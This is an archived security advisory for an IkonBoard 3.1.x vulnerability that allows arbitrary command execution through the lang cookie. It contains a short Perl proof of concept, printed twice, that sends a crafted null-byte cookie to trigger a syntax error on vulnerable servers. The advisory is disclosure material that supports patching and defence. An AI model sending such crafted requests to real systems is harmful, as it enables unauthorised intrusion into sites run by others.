IkonBoard Lang Cookie Arbitrary Command Execution Vulnerability
BID:7361
Info
IkonBoard Lang Cookie Arbitrary Command Execution Vulnerability
| Bugtraq ID: | 7361 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 15 2003 12:00AM |
| Updated: | Apr 15 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to Nick Cleaton <[email protected]>. |
| Vulnerable: |
Ikonboard.com ikonboard 3.1.2 a Ikonboard.com ikonboard 3.1.1 |
| Not Vulnerable: | |
Exploit / POC
IkonBoard Lang Cookie Arbitrary Command Execution Vulnerability
September 8th, 2003: Nick Cleaton has announced that a working exploit will be released in the following week.
The following proof of concept was supplied that will cause a syntax error to be displayed on vulnerable systems.
#!/usr/bin/perl -w
use strict;
my $HOST = 'www.example.com';
my $PORT = 80;
my $PATH = '/cgi-bin/ikonboard.cgi';
use IO::Socket;
my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";
$sock->print(
"GET $PATH HTTP/1.1\r\n",
"Host: $HOST\r\n",
"Cookie: lang=%2E%00%22\r\n",
"Connection: close\r\n",
"\r\n"
) or die "write: $!";
print while <$sock>;
September 10th, 2003: Exploit code provided by snooq <http://www.angelfire.com/linux/snooq/>.
September 8th, 2003: Nick Cleaton has announced that a working exploit will be released in the following week.
The following proof of concept was supplied that will cause a syntax error to be displayed on vulnerable systems.
#!/usr/bin/perl -w
use strict;
my $HOST = 'www.example.com';
my $PORT = 80;
my $PATH = '/cgi-bin/ikonboard.cgi';
use IO::Socket;
my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";
$sock->print(
"GET $PATH HTTP/1.1\r\n",
"Host: $HOST\r\n",
"Cookie: lang=%2E%00%22\r\n",
"Connection: close\r\n",
"\r\n"
) or die "write: $!";
print while <$sock>;
September 10th, 2003: Exploit code provided by snooq <http://www.angelfire.com/linux/snooq/>.
Solution / Fix
IkonBoard Lang Cookie Arbitrary Command Execution Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
IkonBoard Lang Cookie Arbitrary Command Execution Vulnerability
References:
References:
- Ikonboard Homepage (Ikonboard)
- IkonBoard 3.1.2a arbitrary command execution (Nick Cleaton
- IkonBoard v3.1.1: arbitrary command execution (Nick Cleaton